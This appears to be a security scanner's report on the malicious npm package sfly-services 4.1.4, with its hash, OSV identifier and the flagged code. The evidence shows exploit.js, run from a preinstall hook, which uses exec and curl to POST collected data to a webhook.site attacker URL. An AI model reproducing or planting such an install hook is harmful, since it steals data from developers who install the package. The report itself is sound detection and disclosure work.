sfly-services 4.1.4
Exfiltrates data via webhook.site
preinstall runs local JS contacting OOB callbackpreinstall hook runs a local Node.js script
SHA-256ccc51de49e0c2506a59cfa47a8f192d5a913122d8dd45c81b6189b03463503a1
MaleculeO₃(SCEu)H₂(CmPo₃)Md₃(InPa)
Also flagged by osv (MAL-2025-45999: Malicious code in sfly-services (npm)) +2 more.
Evidence
1const { exec } = require('child_process');
2
3// !!! تأكد من أن هذا هو الـ URL الصحيح الخاص بك !!!
4const ATTACKER_HOSTNAME = "webhook.site";
5const ATTACKER_PATH = "/2e1873ae-34e9-426a-96a5-06a69326dcde"; // استخدمت الـ URL الذي وضعته في طلبك السابق
6
7// الأمر الذي سيبحث عن دليل � …
⋯8 lines
19
20 # أرسل كل البيانات في طلب POST واحد
21 curl -X POST "https://${ATTACKER_HOSTNAME}${ATTACKER_PATH}" \
22 -H "Content-Type: text/plain" \
23 --data-binary "$DATA" \
24 -s -o /dev/null
25`;
26
27// تنفيذ الأمر
28try {
29 exec(command );
30} catch (e) {
31 // تجاهل أي أخطاء
32}
1{
2 "name": "sfly-services",
3 "version": "4.1.4",
4 "description": "Internal services package for sfly.",
5 "main": "index.js",
6 "scripts": {
7 "test": "echo \"Error: no test specified\" && exit 1",
8 "preinstall": "node exploit.js"
9 },
10 "keywords": ["sfly", "services"],
11 "author": "",
12 "license": "ISC"
13}
No evidence locations were recorded for this file. Raw result